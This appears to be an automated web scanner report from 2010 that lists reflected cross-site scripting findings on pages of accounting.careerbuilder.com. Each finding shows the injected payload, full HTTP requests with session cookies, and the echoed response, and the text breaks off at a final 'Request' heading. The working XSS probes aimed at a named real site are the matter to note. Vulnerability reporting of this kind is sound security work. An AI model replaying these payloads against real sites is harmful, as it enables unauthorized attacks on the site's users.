The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2cdbc"%20a%3db%205fc987899df was submitted in the lr parameter. This input was echoed as 2cdbc" a=b 5fc987899df in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ag.ic/Florida_Miami_Auditing.htm?IPath=OCP&lr=cbcb_mhf48aa2cdbc"%20a%3db%205fc987899df HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 189439 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_auditing.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR37 Date: Sun, 14 Nov 2010 23:09:49 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7154c'-alert(1)-'d6bb816219f was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ag.ic/Florida_Miami_Auditing.htm?IPath=OCP&lr=cbcb_mhf48aa7154c'-alert(1)-'d6bb816219f HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 190040 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_auditing.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR37 Date: Sun, 14 Nov 2010 23:13:08 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... ntroHTML = 'The feature you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mhf48aa7154c'-alert(1)-'d6bb816219f&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b07c4'-alert(1)-'57936a51b86 was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ag.ic/Florida_Miami_Bookkeeping.htm?IPath=OCP&lr=cbcb_mhf48aab07c4'-alert(1)-'57936a51b86 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 190038 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_bookkeeping.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR44 Date: Sun, 14 Nov 2010 23:12:58 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... ntroHTML = 'The feature you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mhf48aab07c4'-alert(1)-'57936a51b86&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45eed"%20a%3db%206df7f904442 was submitted in the lr parameter. This input was echoed as 45eed" a=b 6df7f904442 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ag.ic/Florida_Miami_Bookkeeping.htm?IPath=OCP&lr=cbcb_mhf48aa45eed"%20a%3db%206df7f904442 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 189492 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_bookkeeping.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR44 Date: Sun, 14 Nov 2010 23:10:13 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3f293'-alert(1)-'786db9e58ce was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ag.ic/Florida_Miami_CPA.htm?IPath=OCP&lr=cbcb_mhf48aa3f293'-alert(1)-'786db9e58ce HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 189895 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_cpa.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: REBEL12 Date: Sun, 14 Nov 2010 23:22:55 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... ntroHTML = 'The feature you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mhf48aa3f293'-alert(1)-'786db9e58ce&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7a16"%20a%3db%20a8d8796ad8c was submitted in the lr parameter. This input was echoed as e7a16" a=b a8d8796ad8c in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ag.ic/Florida_Miami_CPA.htm?IPath=OCP&lr=cbcb_mhf48aae7a16"%20a%3db%20a8d8796ad8c HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 189156 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_cpa.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: REBEL9 Date: Sun, 14 Nov 2010 23:22:27 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42478"%20a%3db%203a96f68a939 was submitted in the lr parameter. This input was echoed as 42478" a=b 3a96f68a939 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ag.ic/Florida_Miami_Consulting.htm?IPath=OCP&lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a542478"%20a%3db%203a96f68a939&ff=21 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 197180 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_consulting.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR15 Date: Sun, 14 Nov 2010 23:06:20 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 54425'-alert(1)-'69e07ba1259 was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ag.ic/Florida_Miami_Consulting.htm?IPath=OCP&lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a554425'-alert(1)-'69e07ba1259&ff=21 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 197774 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_consulting.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR41 Date: Sun, 14 Nov 2010 23:09:04 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a554425'-alert(1)-'69e07ba1259&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a9d2"%20a%3db%20c76e3eed769 was submitted in the lr parameter. This input was echoed as 7a9d2" a=b c76e3eed769 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ag.ic/Florida_Miami_CostAccounting.htm?IPath=OCP&lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a57a9d2"%20a%3db%20c76e3eed769&ff=21 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 196950 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_costaccounting.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: REBEL20 Date: Sun, 14 Nov 2010 23:22:41 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c60b1'-alert(1)-'078d4fa7612 was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ag.ic/Florida_Miami_CostAccounting.htm?IPath=OCP&lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5c60b1'-alert(1)-'078d4fa7612&ff=21 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 197631 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_costaccounting.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: REBEL35 Date: Sun, 14 Nov 2010 23:23:08 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5c60b1'-alert(1)-'078d4fa7612&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a3df9'-alert(1)-'57eee3b2f1c was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ag.ic/Florida_Miami_Executive.htm?IPath=OCP&lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5a3df9'-alert(1)-'57eee3b2f1c&ff=21 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 197519 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_executive.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: REBEL11 Date: Sun, 14 Nov 2010 23:23:06 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5a3df9'-alert(1)-'57eee3b2f1c&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c20e1"%20a%3db%2003b3bbde943 was submitted in the lr parameter. This input was echoed as c20e1" a=b 03b3bbde943 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ag.ic/Florida_Miami_Executive.htm?IPath=OCP&lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5c20e1"%20a%3db%2003b3bbde943&ff=21 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 196781 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_executive.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: REBEL24 Date: Sun, 14 Nov 2010 23:22:43 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 69413"%20a%3db%20317ba7aab6a was submitted in the lr parameter. This input was echoed as 69413" a=b 317ba7aab6a in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ag.ic/Florida_Miami_Management.htm?IPath=OCP&lr=cbcb_mhf48aa69413"%20a%3db%20317ba7aab6a HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 189577 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_management.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: REBEL25 Date: Sun, 14 Nov 2010 23:23:56 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 56b3d'-alert(1)-'9ff60971f08 was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ag.ic/Florida_Miami_Management.htm?IPath=OCP&lr=cbcb_mhf48aa56b3d'-alert(1)-'9ff60971f08 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 190195 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_management.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: REBEL27 Date: Sun, 14 Nov 2010 23:24:22 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... ntroHTML = 'The feature you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mhf48aa56b3d'-alert(1)-'9ff60971f08&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a36e"%20a%3db%20771cc9e4121 was submitted in the lr parameter. This input was echoed as 9a36e" a=b 771cc9e4121 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ag.ic/Florida_Miami_Payroll.htm?IPath=OCP&lr=cbcb_mhf48aa9a36e"%20a%3db%20771cc9e4121 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 189396 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_payroll.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: REBEL10 Date: Sun, 14 Nov 2010 23:24:08 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2848d'-alert(1)-'7bd88549adc was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
